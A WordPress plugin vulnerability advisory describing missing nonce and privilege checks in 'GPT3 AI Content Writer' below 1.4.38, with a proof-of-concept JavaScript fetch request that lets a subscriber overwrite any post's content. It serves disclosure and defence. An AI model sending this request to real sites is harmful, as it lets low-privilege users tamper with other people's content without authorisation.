WordPress Plugin Vulnerabilities

GPT3 AI Content Writer < 1.4.38 - Subscriber+ Arbitrary Post Content Update

Description

The plugin does not perform any kind of nonce or privilege checks before letting logged-in users modify arbitrary posts.

Proof of Concept

fetch('http://localhost/wp-admin/admin-ajax.php', {
        method: 'POST',
        headers: new Headers({
            'Content-Type': 'application/x-www-form-urlencoded',
        }),
        body: 'action=wpaicg_set_post_content_&post_id=1&content=CHANGED',
        redirect: 'follow'
    }).then(response => response.text()).then(result => console.log(result)).catch(error => console.log('error', error));

Affects Plugins

References

Classification

Type
NO AUTHORISATION
CWE

Miscellaneous

Original Researcher
Lana Codes
Submitter
Lana Codes
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2023-01-19 (about 1 years ago)
Added
2023-01-19 (about 1 years ago)
Last Updated
2023-01-19 (about 1 years ago)

Other